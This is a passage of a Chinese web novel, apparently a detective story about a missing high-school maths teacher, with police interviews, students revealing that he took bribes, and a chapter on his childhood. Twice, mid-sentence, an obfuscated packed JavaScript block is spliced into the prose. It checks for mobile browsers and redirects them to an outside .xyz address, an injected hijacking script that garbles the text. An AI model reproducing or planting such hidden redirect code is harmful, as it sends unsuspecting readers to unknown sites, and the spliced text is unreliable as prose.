但回到家又不乐意了,越想越气,洋洋洒洒写了篇文章放到网上,不知怎的,一下子发酵起来,矛盾直指绕远路的秦晓峰、关图县混乱的出租车管理,更甚者,剑指当地的治安管理问题和剽悍的民风。 秦晓峰再也横不起来,出租车公司罚了他几百块钱还不算,说些什么“容不下他这尊大佛”的话,还勒令他“另谋高就”。 不过最后,他求爹爹告奶奶,好说歹说才保住了工作。 气得他借酒浇愁,可借酒浇愁,愁更愁。 某天晚上,喝大了的秦晓峰走着“之”字,左右摇晃,一个不察晃下了楼梯,人事不省地倒载在草丛里,直到第二天早上才被遛狗的退休老阿姨发现。 虽说他横是横爽快了,这二十多天的罪也实打实地受了。 班青走到床边,看着他说道:“我们来这里,是为了跟你了解一些情况,你不用太担心。” 秦晓峰盯着班青的手,嘴角一撇,白眼一翻:“哦?原来是求我帮忙来了。你们就这样……空着手来啊?” “那要不我再送你几万块钱呗!”白杨忍不住一声暴喝,接着被班青使了个眼色,拉到一旁。 班青严肃的目光锁住秦晓峰的脸,看得他不自觉地心虚。 “听说你前些年在城南水泥厂上过班?” “啊?哦,上过,咋的了,上班又不犯法。” 班青淡淡道:“也没怎么,就是城南水泥厂前几天起火了,死了个人,死的……正是你恨得咬牙切齿的汪明远。” “死得好!死得好!早就该死了!”秦晓峰情绪激动得想要从床上爬起来,稍一动弹就扯着他受伤的那只脚,旋即疼得他嗷嗷叫唤。 他突地一动作,枕头下的手机“咣当”一声,在地上滚了几圈就掉在班青的脚边。 她弯腰伸手捡起,那屏幕正好是打开的状态。 乍一看,屏幕上,一个穿着白色吊带和黑色短裤的女孩子靠着身后的墙壁,坐在地上。她双手抬起左脚,五个脚指头大大地张开,怼满了大半个屏幕,脸上有些窘迫和尴尬。 班青楞在原地,尴尬得不知道做什么反应。 白杨见状走到她身边,只看了一眼,眉头拧得紧紧的。 嫌弃地看向秦晓峰,皱着眉头道:“你看的都是些什么乱七八糟的东西……” “拿过来!要你管!”秦晓峰撑起上半身,从床沿探出身体,一把从班青手里夺回去。 班青和白杨的眼神对视上,摇了摇头。 走出病房后,两人又跟医生和护士了解他这段时间的行程,问了问来往的人员。 很快地,秦晓峰的嫌疑被排除。 班青和白杨再次碰壁。 另一头,蔡小新和梁斌再去关图中学了解情况,而这一趟,总算有了点收获。 9. 扎小人 薛如许被人从教室里叫出去的时候,她正看着一本新到手的漫画。 “薛如许,你出来一下。”一个温温柔柔的女声。 透过窗户的玻璃,许老师圆圆的脸闯入视线。李明明的舅舅也站在她身边,许姝只到他肩膀的位置,一高一矮,四道目光都盯着薛如许。 一个笑盈盈,如同绽开的桃花;一个直勾勾,恨不得射出暴雨梨花针。 她的手控制不住地抖动几下,迎着李明明舅舅火花四溅的目光,硬着头皮把花花绿绿的漫画书塞进课桌抽屉。 正打算起身,余光看到李明明也趴在课桌上,她端坐着,不经意地向后一仰,李明明玩手机的动作就暴露在他舅舅的眼里。 他拿着一个屏幕巨大的手机,时不时痴痴地傻笑一声,肩膀上下抖动,全然沉浸在自己的世界中。 薛如许非常肯定,李明明一定是暴露了,因为他舅舅那张本就不白皙的脸,已经变成了菜色。 薛如许幸灾乐祸地走出门,跟着许老师和年级主任,不知道往哪里走,只管向前。 刚走出去几步,年纪主任礼貌地伸手挡在两人前面。 “麻烦稍等一下,我回去处理点事儿。”说完,旋风一样地卷了回去。 不多时,身后的教室里就飘荡出一声暴怒的呵斥。 “拿过来!再敢玩手机,看我不打死你!” 年级主任旋风一样地又卷回到许姝和薛如许面前时,手里已经卷了个巴掌大的手机。 薛如许摸了摸鼻子,既心虚又幸灾乐祸,夹在许姝和李明明舅舅的中间,像个犯人一样,到了年级主任办公室。 里面已经坐了两个穿着制服的警察。 薛如许不过一个十几岁的孩子,哪里见过这种阵仗,当下缩头乌龟一样,连连后退,不敢进去。 她扭脸看向右手边一路带着她过来的年级主任,一脸为难地祈求道:“万主任,不至于吧,我就看个漫画……” “瞎贫嘴什么呢,快进去!”手一推,薛如许就像个皮球一样,滚进了屋。 蔡小新好久没穿制服,正觉得浑身不自在,看见薛如许一脸的窝囊样,“噗”地笑出声音来,倒是恰好打消了她的害怕。 “薛同学吗你是?不用紧张,我们是负责汪老师案子的警察,有些问题想要找你了解一下。”梁斌贴心地安慰她道,声音温温柔柔,像冰镇柠檬水一样清新。 “汪老师……他现在找到了吗?”薛如许一屁股坐在两人面前,期待地问道。 “找倒是找到了,就是……”蔡小新话还没说完,梁斌极快地用手肘狠狠撞了撞他,后者忙把后半句话吞回了肚子。 梁斌温和地看着薛如许,直接转开话题:“你是高三1班的班长?” “啊?哦哦,对,我是。” “你对汪老师了解多少?”声音柔柔的,像个邻家大哥哥。 薛如许嬉皮笑脸习惯了,不知是何等的脑神经作祟,竟然生出了逗弄梁斌的心思。 “了解多少啊?这个不好说了……哪种算多?那种算少?”她没得到自己想要的答案,又变回插科打诨的模样。 “薛如许!”万主任在她身后严肃地提醒,“你给我好好的,不许不正经!” 薛如许撇了撇嘴巴,板板正正地坐在梁斌和蔡小新对面,有些不情愿地说:“汪老师从高二上学期开始接手我们班,已经带了我们一年。我一直都是班长,所以……应该算是了解他吧。” “他之前一段时间有什么异常吗?”还是梁斌温柔如水的声音。 “以前一段时间?具体是哪段?放暑假的时候?那个我不知道的,我们都放假了,我上哪里去知——” 许姝害怕她又要挨骂,从她身后轻捏她的肩膀,提醒她万主任还在后头。 薛如许得到提醒,赶紧闭嘴。 而后她安安静静地想了想,忽然猛拍脑门儿,醍醐灌顶一般喊叫起来:“哦,想起来了!高二上学期,大概期末的时候吧……汪老师确实有点不一样!” 蔡小新一下来了精神:“哪里不一样?” “扎小人儿你们见过嘛?” “什么?扎小人儿?”蔡小新见了鬼一样的表情。 “有一天,汪老师给我们上课的时候,杯子里的水喝完了,让我从他办公桌的抽屉里取茶叶。我开错了抽屉,拉出了最底下的那个,里面当然没有茶叶盒。不过……倒有一个奇奇怪怪的布娃娃。” 蔡小新急不可耐地问她,脸上的表情分不清是害怕还是感兴趣:“长什么样?” “大概一个巴掌大小,穿了件奇奇怪怪的蓝色裙子,头上两根羊角辫,肚子上面戳了几根长长的银针,脸看着超级吓人!我听说这是用来诅咒别人的,你恨谁就把小人儿当成谁扎!” 薛如许越说越来劲,俨然一个说书先生的模样。 万主任和许老师在她身后,两张脸上尽是疑惑,分明是初次听闻的样子。 梁斌对神佛之类的把戏向来嗤之以鼻,质疑的神情溢于言表。可谁能想到,他这边半点不信,扭脸一看,蔡小新已经瞪大双眼,好像真是被吓着了。 丢人现眼的玩意儿! 他不信地继续问薛如许:“有这么邪乎?不过……你上哪儿知道这些的?” 薛如许倾身向前,来了兴致:“我能不知道嘛?娱乐新闻报道过的呀,我如数家珍的!” 万主任终于忍不住了,站在她身后,像个鬼影子,突然给她脑袋一记敲。 “你还如数家珍!你怎么不对知识如数家珍?怎么不对学习如数家珍?净看这些没用的烂新闻!你都高三了,你说你……” 许姝看他说话的阵仗又像是要开闸放水,连忙扯扯他的袖子,示意他警察还在,可别再说了,正所谓,家丑不可外扬。 万主任得了提醒,尴尬地摸了下鼻子,关闸,闭麦。 “咳!咳!”梁斌也提醒对面的三个人,注意回到正题上。 蔡小新倒是不管是否离题,看戏看得他忘记害怕,没心眼地嘿嘿傻笑。 梁斌继续询问:“后来呢?那个娃娃现在在哪里?” 薛如许闻言,不好意思地挠挠头:“后来我就没见过了。反正后来我帮他拿东西的时候,再没看到。估计被我看到了,他多多少少有些尴尬吧。毕竟一个数学老师,搞这些东西多少有点不搭。” 梁斌被她影响,顺着她的思路问道:“汪老师平时不搞这些吗?” 却不是问薛如许,而是看向她身后的许姝和万主任。 两人齐齐摇头,异口同声:“没听说过。” 梁斌仔仔细细记录下薛如许透露的信息,也不管什么怪力乱神了,统统记下! 写完后,他不放心地补充道:“还有什么异常的吗?比如说,他的个人情绪啊,精神状态之类的。” “我正要说呢!自打我看到那个小人儿之后吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056061|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我感觉汪老师就不太对劲。算不上是神神叨叨,但的确是精神恍惚,上课经常出错,但也有可能是年纪大了,反正我拿不准,也说不好。” “他言语之中有透露过因为什么吗?” “他怎么可能告诉我啊?我们汪老师虽然人很善良,但是不爱说话,更没有分享欲,大家都说他挺神秘的。 “我虽然是他的班长,但他对我也没什么区别。况且有一次晚自习,我看到他——” 说到此处,薛如许突然想到她爸爸身上的教训,连忙转了话头:“看到他摔了一跤,估计觉得被学生看到很丢脸吧,他对我更提防了!” “……” “噗嗤!”蔡小新恨不得地上能长出个洞口来,让他埋头进去,恨恨笑上一场。 他跟她是一类人,很少有个正经的时候,但此刻,他也觉得这孩子着实缺心眼儿。 “扎小人?这是什么古早的手段?”班青皱着眉头,万分嫌弃。 “是吧?青姐,你也觉得离谱,我超无语的,怎么会有人傻到相信这种东西?好笑死了!”蔡小新附和着,眉眼间满是鄙夷。 梁斌扭脸看他,被他坚定的语气惊得一愣一愣的。 两人一路回单位,路上还听他兴致勃勃地讨论什么用小人儿转移厄运之类的,这会儿自己还没说话呢,他倒是改头换面,扭脸就成了个坚定的唯物主义者! “嘿!蔡小新,你刚才在路上可不是这么跟我说的!你不是说……” 蔡小新看白杨和班青此刻都一脸戏谑地看自己,顿时觉得丢了面子,赶紧起身挡在梁斌面前,又严严实实地捂住他的嘴巴,一套动作行云流水。 几分钟之后,两人的打闹终于停了下来。 梁斌突然回想上午问话的过程,又想到薛如许最后的态度,补充道:“上午我们问薛同学的时候,她好像有所隐瞒,几次都用插科打诨的方式混过去了。应该有什么顾虑……我感觉她肯定知道点什么,但是不愿意告诉我们。” “那有什么难的?她不愿意说,我们明天就再走一趟。她要是明天也不愿意说,那我们俩后天再去。”蔡小新无所谓地摊手,“总有她愿意告诉我们的一天。” “天天去啊,你打算?你去关图中学干什么?跟他们高三学生一起上学啊?咋的,你要复读?” “噗嗤!”梁斌看蔡小新被白杨堵得一脸菜色,登时乐不可支,笑得红光满面。 班青忍住笑意,问道:“除了薛如许呢?学校其他的老师和学生们怎么说的?” 梁斌看蔡小新涨红了脸,顿时收回笑意,回到正题。 “差不多都是一些没用的信息,一些概括性的评价。 “他们对汪明远的印象都差不多,觉得他性子温吞、宽容,闲云野鹤又有点神神秘秘。除了上课,不怎么参加学校的活动和聚会,按时准点上下班,和学校里的同事都是点头之交。 “大家倒都挺礼貌客气的,没听谁说汪明远的坏话,也没听说学校里谁跟他不合。挺低调的一个人,事业心不强,重心都在家庭上。” 白杨和班青听了这话,久久没有出声。 班青沉默了许久,突然想起了什么,她抬手看看手腕上的表盘,时针已经指向晚上七点。 “薛如许的事情我来想办法,等我查清楚了再告诉你们。下班了,我先走了!” 她撂下一句话,丝毫不拖泥带水地离开,留下三人大眼瞪小眼。 10. 打探 “许姝,饭做好了吗?再不好的话,我可饿死在你家了啊!”班青从米色的布艺沙发上懒懒地翻个身,支起脑袋,一边将脚放在玻璃茶几上来回晃动,一边冲着厨房里的许姝流里流气地叫唤。 说完又打开一包薯片,嘎吱嘎吱地嚼着,像一只饿极了的仓鼠。 “快了快了!别催我了,越催我越着急,刚才差点把盐罐子打翻了。” 许姝端了一大碗红烧排骨,从餐桌旁边的架子上顺手拿过来一本宣传册,放在滚烫的碗底下垫着,匆匆忙忙地回到厨房接着忙活。 刚一进厨房,她从里面探出个头来,嘱咐班青:“对了,青,少吃点薯片。” “怕我吃不下饭啊?啧,我特意空着肚子来的,可太能装了——” “不是,薯片我买得挺贵的,你咣咣一通吃了,我就没得吃了。” “……抠死你算了,怎么比我还抠呢?”班青抓了一大把薯片,使劲塞在嘴里狠狠地咀嚼,两脚在沙发上乱蹬。 “哎哟!啥啊这是?”她的脚心突地感到一阵轻微的疼痛,像是一根针扎了一下。 翻身起来,光着脚踩在地上,找了半天,才从沙发缝隙里找出一小片荔枝壳一样的东西。 “什么玩意儿!脏死了!这沙发得收拾一下了,攒了些什么你看看!一天天的,也不知道多跟我学学!”厨房里忙乱成一片,并没有人回应。 班青不在意地将脚心的灰放在一直裤腿上蹭了蹭,不嫌脏地又踩上沙发,翘着脚继续咀嚼手里的薯片。 准头不错,她得意地暗道。 饭桌上。 班青捏着筷子,看许姝随着身体摇晃的满头短发,总觉得不习惯。 “你哪根筋不对了,怎么把头发剪短了?像个假小子,看得我都不习惯了。” “不好看啊?”许姝摸摸耳鬓的碎发,迟疑地问她。 “倒也不是不好看,就是没以前看着好。现在也很好看,但是以前更好看,你懂我的意思吧?” “嚯!你进步很大嘛,狗嘴里都能吐出象牙了。”许姝被夸得洋洋得意。 不等班青回骂,她一声长叹:“最近太热了,剪了头发稍微凉快点。况且,我现在又当上班主任了,没时间打理头发。” 班青夹了一块肉多的排骨,扔进嘴里,嚼得两个腮帮子鼓鼓的,口齿不清地接话:“汪明远的那个班级啊?” “可不是,连着带了三年高三,求爹爹告奶奶,好说歹说,今年终于能休息了,结果出了这档子事儿。我算是认命了,我就是个劳苦的命!” “话都说到这儿了……再多劳苦一点也无所谓,你……帮我干点事儿呗?”班青嘿嘿一笑,谄媚地看着她,像只干了坏事的猫。 许姝看她狗腿子的模样,就觉得她肯定没憋好屁,警觉地往后一仰。 “你又要我干什么?” “这次的事儿简单,你放心!就是……你现在不是高三1班的班主任嘛——” “代班主任!代的!汪老师一回来我就马上卸了!”许姝赶紧纠正她,急得像两脚沾了糍粑的猫。 “是是是!卸!肯定能卸!是这样,我不是有同事去你们学校调查吗,听他们的意思,好像薛同学知道点什么,但是那孩子对我们有防备,不愿意说——” “所以你就想让我替你干活?”许姝倚靠在靠背椅上,抱着双臂,高傲地打量班青。 “嘿嘿,能者多劳嘛。”狗腿子的模样放大到极限。 许姝愤愤然地瞪她一眼,而后将嘴里的骨头吐在旁边的碟子里。 她突然想起来,好奇地问道:“话又说回来,汪老师的事情……你们有什么线索了吗?” 班青手里的筷子一顿,不自然地否认:“没呢,但我估计有点悬。哎,我们也着急,但是急不来啊,又没有多的人手,而且最近又出了个浮尸案——” “不止吧,不还有个纵火案?城南水泥厂那个。”许姝连着吃了几口排骨,有些发腻,夹了一块拍黄瓜,放进嘴里嘎嘣嘎嘣地嚼,口齿不清地问她。 “啪嗒!”班青手里的筷子没拿稳,摔在餐桌上,“你们怎么都知道?今早上我爸还跟我打听。” “现在网络发达了,照片视频满天飞,能藏得住什么?” 许姝放下筷子,端过一旁的玻璃杯,放到嘴边,突然意识到什么:“嗯?你爸?你跟你爸和好了?” “……差不多吧,偶尔打个电话。” “啧啧啧,终于破冰了,你俩快九年不说话,倒都挺有脾气的——” “怎么能是我有脾气呢?是他的问题!你说说,我干什么工作,跟他有什么关系啊,他凭什么管我?管好他自己!” “就是!职业自由嘛。”许姝看她一脸不服气,不多纠缠这个问题,“真好啊,以后你每周都能回家了……” 班青慌忙打断她,无比认真地说道:“你记着,你以后就跟我混!我不会丢下你的!” 许姝嘿嘿傻笑,若无其事地端过快见底的玻璃杯喝水。 水润的眼睛和晶莹剔透的玻璃杯重合在一起,以至于对面狼吞虎咽的班青并没有看到她眼里闪烁的泪花。 下了晚自习后,薛如许按照和许姝的约定,在学校斜对面的文具店等她。 大概一刻钟以后,许姝姗姗来迟。 “许老师,你可算是来了!走走走,我要饿死了!”薛如许伸手拉过许姝的胳膊,像个饿疯了的鬼,突然嗅到前面食物的味道,抓了狂地往前奔。 “轻点儿,轻点儿,我这把老骨头经不起你折腾。”许姝被她拽着,差点一个趔趄摔倒在地,慌忙倚靠在薛如许的身上,堪堪稳住险些栽倒的身体。 薛如许是他们班上最高的女生,一米七几的身高,比许姝高出半个头,青春期的孩子又壮实有力气,拽着她就跟拽了个小鸡一样。 “胡说八道!你才二十多岁,还没我一个远房堂哥年纪大,一点儿也不——” “站住!”来人中气十足。 许姝和薛如许同时被吓了一跳。 薛如许心脏一颤,辨别出这声喊叫属于谁后,破口大骂:“李明明!你要死啊?吓死我了!” 两个人身后,漆黑一片中,李明明背着他硕大的书包,人未到,声先闻,咣当几步便赶上。 “薛如许,你背着我要去吃什么?说话!” “原来是明明啊,我们打算去吃炸鸡,你也一起吧!”许姝转身,伸手拍了拍他的肩膀,邀请他一块儿去。 李明明看见许姝也在,想到自己刚才土匪一样的叫喊,登时就有点脸红,不过文具店门口的灯光太暗,没人看见。 “嘿嘿,许老师晚上好呀~原来你也在呀~”李明明夹着嗓子装腔作势,又开始他扭扭捏捏的小媳妇儿样。 “呀~呀~”薛如许怪声怪气地学他。而后朝他翻了个白眼,留下身后的两人,直冲几米开外的炸鸡店。 炸鸡店里,三个人坐在店里最角落的地方。 方才一直嚷嚷饿得不行的薛如许有一搭没一搭地吃着,真吃上倒又不太饿了。 而跟她并肩坐着的李明明,就像个饿狼一样,叼着个鸡腿,两眼放绿光。 许姝坐在他们两人正对面,看到李明明贪婪的样子,总觉得他好像饿了很多顿。 她伸手将面前的盘子推到李明明身前,颇有不忍地劝慰:“慢点吃,慢点,不够我再点。” 薛如许连连制止:“许老师你可别管他,他能吃到你破产!” “说什么啊你?纯纯诬陷!”薛如许早有准备,抄起桌子上的菜单挡在李明明脸前,挡住他嘴里飞溅出的面包糠。 天色已晚,店外学生们都差不多走完了,再也不能由他们瞎胡闹。 “咳!”许姝出声停止两人的吵闹,“我有点事儿想问问你们。” “是汪老师的事情吧?”薛如许早就知道她的意图,笃定地猜道。 她又用纸巾擦了菜单上的面包糠,干净规整地将菜单放回原处。 “许老师,那天警察问我的时候,我的确有保留,但是……不确定的事情我不好说……” 许姝不在意地笑笑,但是眉目间已经有些失落,却仍然故作轻松地安慰她:“没关系的。” 说完,她烦躁地撩了好几下耳边的细短碎发,有些心不在焉。 斜对面坐着的李明明将一切看在眼里,他最怕这种状态,并称之为:表里不一。 他可太熟悉这种状态了,每次家里有外人在、他妈想打他又不好动手的时候,总是这幅模样。 他直觉地感受到,许老师温和的表情下已经酝酿着怒火,只是薛如许粗枝大叶感受不到,但他敢用他无数次挨打的可贵经验保证:许老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056062|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师绝对是生气了。 “许老师,我觉得汪老师不是他平时表现出来的那样……怎么说呢,就是对什么都不在意,因为我看到过他收家长的钱——” “噗——”薛如许嘴里的可乐随着李明明的话音,一下子喷出,大半喷到李明明的脸上。 “薛如许你要死啊!恶心!呸!恶心死了!” 李明明起初是一愣,等到反应过来,也顾不上擦擦脸上的可乐,第一反应就是跟薛如许打上一架。 “好了!”许姝看了一眼橱窗外面,路上只有零零散散的几个人,她不得不出声制止,语气中已经带着一丝不耐烦。 两个人一路吵吵闹闹到炸鸡店,自从坐下就没消停过,跟两只鹦鹉似的,吵得她头疼。 薛如许和李明明看她脸上已有几分严肃,乖乖地停了。 李明明这下老实了,再次捡起话头:“我说的是真的,我真的看到了!我爷爷家和汪老师在一个小区,今年三月份的一个周五,我爷爷过生日,当晚我住在他家。第二天一大早,七点多吧大概,我从他家出去——” “你早上七点出去做什么?”薛如许疑惑地问道。 李明明有些不好意思地摸摸头:“我妈让我每个周末起床跑步。我嫌累不想跑,就假装七点准时出门,到处溜达瞎玩,嘿嘿。” “难怪呢,越跑越肥。”薛如许得意地笑话他。 李明明不愿意再跟这个碎嘴子吵,只装作没听见。 “那天早上,我走出小区大门,正要穿过附近的小公园,去对面喊个计程车,就看到汪老师和另外一个人在公园里。 “我正打算退回小区,就看到这个人递给汪老师什么东西,汪老师和他推推嚷嚷半天,最后还是收下了。” “你怎么确定,这个东西就是钱呢?”汪明远平时给许姝的印象就是淡泊,听了李明明的话,她一时间有些难以置信。 “我可太确定了!因为啊……”他故作神秘地凑近许姝,“那个人就是余晓鹏的爸爸,他爸爸给他开家长会的时候我见过。” 李明明说完又坐回去,靠在座垫上:“那事儿之后,没过多久余晓鹏就拿到了竞赛名额。他那个成绩,切!还不如我呢!” 虽然李明明的话听起来不靠谱,但许姝信了个七七八八。 李明明给出的信息太过详细,加之余晓鹏因为太名不副实,他参加竞赛的事情的确引发过争议,以至于风言风语还曾传到她一个英语老师的耳朵里。 只不过不知道什么原因,余晓鹏后来又没有参赛。 不过谁都有点秘密,挺正常的。 她正打算结束今晚的对话,一直三缄其口的薛如许却站了出来,一下子做实李明明的揭发。 “其实……汪老师收红包的事情,我也知道。” 薛如许没看李明明瞪大的双眼,好像不太想长时间继续这个话题,一股脑说出了她看所到的。 “有一次晚自习,当时都八点多了,我想去卫生间,结果那一层的卫生间坏了,我就去了楼下。回来的时候,走上楼梯拐角,我看到汪老师和一个人在过道尽头,不知道说了些什么。 “我正打算上去,就看到那人给了汪老师一个信封。我其实不太确定,但我通过他们的神情和动作,猜测和李明明说的应该是一回事。 “我当时害怕极了,怕他们看到我。但还好,正好下课铃响了,我趁着打铃的功夫,赶紧跑了。” 一听完她的揭发,李明明当场讽刺:“就这啊?就这?这事儿值得你遮遮掩掩吗?我当是咱们班长知道什么了不得的信息呢!结果跟我讲的不是差不多嘛,切~” 许姝听完后没作声,不好在这两个孩子面前多评价她的同事,她看了看墙上的钟表。 “走吧,吃得也差不多了,天色不早,就先说到这儿,我送你们两个回家。” 说完便拿起一旁的包,干净利落地出了店门。 三个人走出门的时候已经是晚上十点多,虽然已经入了夜,关图县的空气里仍然弥漫着一股燥热。 “许老师,你说汪老师到底去哪里了?他会不会出了什么事?”薛如许和李明明一直跟在许姝身后并排走着,她不知想到了什么,突然发问。 “……我也不知道。”许姝沉默了一会儿,不知道要怎么回答。 三个人都变得有些沉默。 11. 汪明远1 汪明远自小还算优渥的生活结束了,结束在他八岁那年,因为汪家爷爷死掉了。 汪老爷子年轻的时候也只不过是个穷小子,家中几口人勉强凑活过着,面朝黄土,背朝天。 累死累活干个一年到头,等到做官的收走了粮食,留下的一点点口粮才是一家人整年的嚼用。 要是碰上天灾,或者前方打仗,更是入不敷出,全家都要挨饿。 不过汪家在关图县最偏远的河阴村,群山环绕,地势险峻又偏僻,鸟都不愿意到那里拉屎,所以暂时还受不到打仗的影响。 转机发生在汪老爷子娶妻生子的那一年。 看着家中瘦弱憔悴的妻子、嗷嗷待哺的孩子,同样饿得面黄肌瘦的汪老爷子一狠心,跟着几个牛贩子走了。 这个行当算得上古老,总不过是个低买高卖的活计,和平年代很能挣钱,许多牛贩子因此养活了一家老小,还能剩下一笔钱,给家里添些物件儿。 可当下战火纷飞,内乱四起,匪徒猖獗,再好的营生,再多的银钱,也得有命享。要是沿途碰上劫匪,杀了牛,抢了银子,也算得上是个好的结果,最坏的,刀起,头落,命陨。 估计是上天可怜汪老爷子一家老小,可怜这家穷苦人,汪老爷子一辈子穿行于阡陌田间,游走于村屋瓦舍,偶尔也遇见过几个匪徒,但每次都逢凶化吉,还积累下许多财富。 虽不至于富甲一方,但至少让汪家人吃喝不愁,日子越发轻松。 汪明远就生在这样的家里。 在同龄的孩子们饱一餐饥一顿的时候,汪明远从没缺过吃,少过穿。 虽然比不上县城里的富贵人家,在关图县的这个偏远村子里,汪家也算得上头一号。 虽然没有庞大的家产,却有几亩肥沃的水田,农忙时候再雇上几个人做工,一年到头也算富足。 老天爷是公平的,公平地馈赠着每个家庭,也公平地磋磨着每个人。 汪老爷子用完了大半生的好运,耗尽了几十年的命数,在一次外出贩牛的途中,被沿途不知哪户人家的狗咬了。 乡下地方,乡下人,被狗咬自然很平常,随便找点草药,草草敷涂几下就算完事。 汪老爷子也不甚在意,兜里装着满袋子的纸钱和钢镚儿,晃晃悠悠,叮叮当当,优哉游哉地回了村子。 正值年节,过年的氛围浓厚,尤其是小孩子,无忧无虑,比大人更加期盼。 和往年一样,汪老爷子从兜里随手掏出一些钱,这位“散财童子”见着孩子就发,一路从村口发到村尾。 若是贫苦人家的孩子,嬉嬉闹闹,大大方方喊上几声汪爷爷,还能从他这儿多得上几分。 但也是这些可怜孩子,从老人手里得到的最后一次压岁钱。 回村子后没过一个月,汪老爷子突然高烧不退,胡言乱语,成日没几个清醒的时候。 汪家老太太找来村里的赤脚大夫,开了几副中草药,让精神错乱的汪老爷子喝下,却久不见好,反而越发严重。 村里人都传言,汪老爷子一双脚走遍了四方,准是沿途路过乱葬岗或者荒坟,沾染上某些个不知名的怨鬼,让它们上了身,夺走了他的魂魄。 那些鬼怪,或是老老实实艰苦谋生,却被土匪或者恶霸一方的军阀杀害的无辜小民;或是被强行征兵拉上战场,却当了炮灰的小子;或是家中男人上了前线,丢了命家里还不知道,苦等他们至死的女人。 这些传言都还算客气的,更有好事之徒,早看不惯汪家的殷实,趁机散布谣言,断言汪老爷子这些年贩牛为生是假,暗地里勾结山匪、杀人越货才是真。 不然他一个没什么见识的穷小子,又没有所谓贵人帮衬,如何能在战乱纷飞的乱世积累下一身财富? “怨鬼”们附在他身上,借着汪老爷子的身体,张狂地看着人世间,最后再抽离掉他的灵魂,晃晃悠悠地找寻下一个可供他们说道、造谣的目标,只给这个勤勤恳恳了一辈子的老者,留下一具断了气的破败躯体。 自那以后,汪明远自由自在、无拘无束的生活一去不复返了。 老人去世后,汪家老太太不久也染病,同样的,久治不愈而终。 家中钱财入不敷出,几乎耗尽,再也没有钱雇佣工人,再也没有银子置办新衣。 汪家曾经被爷爷奶奶捧在手掌心,心肝儿一般疼爱着的“小少爷”也要下地干活,也要身着破烂的衣服,面朝黄土背朝天。 屋漏偏逢连夜雨。 汪家爷爷奶奶治病已经花了许多钱财,汪明远的母亲生下大儿子汪明远之后,身子越发孱弱,终于,在生下第三个儿子后,气血耗尽,再也干不了重活,只能躺在床上熬日子。 汪明远父亲,这个软弱的男人,经历了父亲、母亲和妻子三个主心骨的更迭,在拥有了第三个孩子后,终于不得不扛起一个家庭的重任。 他拿出家里准备过年的几方肉,找上汪家老爷子做裁缝的朋友,苦苦哀求才说服对方勉强收下自己做了徒弟。 做裁缝的收入并不高,何况只是个学徒。 所以家中照顾母亲、耕作田地、庄稼收成等等,一应事物全部落在汪家三个儿子头上。 不同于两个弟弟,汪明远这个本应该是汪家下一辈里最懂事、最稳重的长兄,却是汪家最不省心的。 汪家老爷子死的时候,两个弟弟都还年幼,面对生活的巨大变数,两人都没什么太大的体悟,对于曾经富足的生活,也只有一个模糊的概念。 但是汪明远不一样,汪老爷子挣下的大笔钱财,完完整整地滋润了他的整个童年,如同细水涓流,流淌进他的脑海和记忆。 同样地,这场变数带来的巨大割裂感也给了他极大的痛苦。 他认定自己始终是汪家的“小少爷”,过去是,当下是,未来还会是。 如今的家庭剧变只不过是个幻影,是个梦境,等到梦醒过来的一天,他就结束了痛苦。 所以三兄弟上山割猪草的时候,他总会背着最大的背篓,折下几根木棍,学着曾经奶奶蒸鸡蛋羹时放的蒸架一样,高高地把木棍架在背篓上方,在底下隔离出一个巨大的空间,再装模作样地将几捆猪草放在架子上方。 最大的背篓,最高的草垛,却有着最轻的分量。 或者在三人约着一起上山捡拾柴火的时候,装作肚子疼痛,借口离开,躺在静悄悄的竹林里直接睡上一大觉,等到两个弟弟背着柴火下山来时,再哄着弟弟们匀出一部分给自己。 汪明远得意于自己的聪明才智,每当看见两个弟弟背猪草或者柴火,背得大汗淋漓的时候,他更是幸灾乐祸,得意忘形。 汪明远的不省心不仅限于偷懒,还在于他的自私。 家中只有汪明远父亲一个劳动力,入不敷出,日子艰难,但汪明远母亲还算得上公正。 汪母不想三个儿子变成斗大的字不识一个的文盲,又不想丈夫过于劳累,于是和三个儿子约定,读完初中,能认识字就不读了。 三人连连应声承诺。 可念着小学的汪明远承诺了,快初中毕业的汪明远又反悔了。 已长成半大小子的汪明远跪在家中凹凸不平的泥土地上,操着有些尖利的公鸭嗓,苦苦央求母亲,祈求她发发善心,让自己继续念书。 她已躺在床上数年,日渐枯槁,消瘦得只剩身上薄薄的一层皮。四十岁出头的女人,已是满头花发,面色发黑发黄,活脱脱一个老太太。 “妈,我求求你了,你就让我继续读下去吧!我们李老师说了,我的化学物理成绩都很好,要是能继续读下去,肯定以后能考上中专!到时候等毕了业,挣了钱,我就好好养你们。” 泥土地上的凸起硌得他的膝盖生疼,但他丝毫感受不到,跪在地上一直往前,死死扒着他母亲床沿上被虫子蛀得满是孔隙的木条,用力得差点连指甲都掰断。 汪母看着床前跪着,涕泗横流,眼泪不止的儿子,只是默默地哭泣,不能做声。 她犹豫半天,终究也没说出个“不”字。 想要上学,想要念书,怎么会有错,她又怎么能忍心拒绝?但他偏偏生在了一个家徒四壁的人家,无错也成了有错。 汪母摇摇头,泪水滑落进她的衣襟,拒绝的话语无论如何也说不出口,毕竟汪明远是她生的第一个孩子,对她有着特殊的意义。 那时候汪家还很富裕,婆母是方圆几十里最难缠的女人,脾气暴躁,混不讲理。丈夫性格软弱不堪,是个扶不起的阿斗。 